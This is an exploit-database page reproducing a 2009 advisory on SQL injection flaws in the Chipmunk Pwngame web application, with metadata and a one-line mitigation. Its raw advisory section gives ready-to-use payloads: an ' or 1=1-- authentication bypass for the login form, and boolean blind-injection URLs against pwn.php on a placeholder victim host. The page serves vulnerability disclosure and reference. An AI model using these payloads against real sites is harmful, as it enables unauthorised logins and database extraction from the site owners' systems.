Chipmunk Pwngame - exploit.company

vendor:

Chipmunk Pwngame

by:

KnocKout

7,5

CVSS

HIGH

SQL Vulnerabilities

CWE

Product Name: Chipmunk Pwngame

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Chipmunk Pwngame <= Multiple SQL() Vulnerabilities

Chipmunk Pwngame is vulnerable to multiple SQL injection vulnerabilities. An attacker can exploit these vulnerabilities to bypass authentication and perform blind SQL injection.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

===================================================
Chipmunk Pwngame <= Multiple SQL() Vulnerabilities
===================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
           { H4X0RE SECURITY PROJECT }
AQ. "Rüyalarýma bitek Uyuyoken kavuþuyosam Anladýmki Ölmekte zor deðil.."
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Chipmunk Pwngame
~Software: http://www.chipmunk-scripts.com/page.php?ID=34
~Vulnerability Style : SQL Vulnerabilities
-----------
~Demo:  http://www.chipmunk-scripts.com/pwngame/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation| Auth bypass() ~~~~~~~~~~~
    http://VICTIM/Path/login.php
     Username : ' or 1=1-- -H4x0reSEC
     Password : ' or 1=1-- -H4x0reSEC
    ================================
    ~~~~~~~~ Explotation| Blind SQL Inj()  ~~~~~~~~~~~
     http://VICTIM/Path/pwn.php?ID=1 [Blind]
     http://VICTIM/Path/pwn.php?ID=1 and 1=0
     http://VICTIM/Path/pwn.php?ID=1 and 1=1
    ================================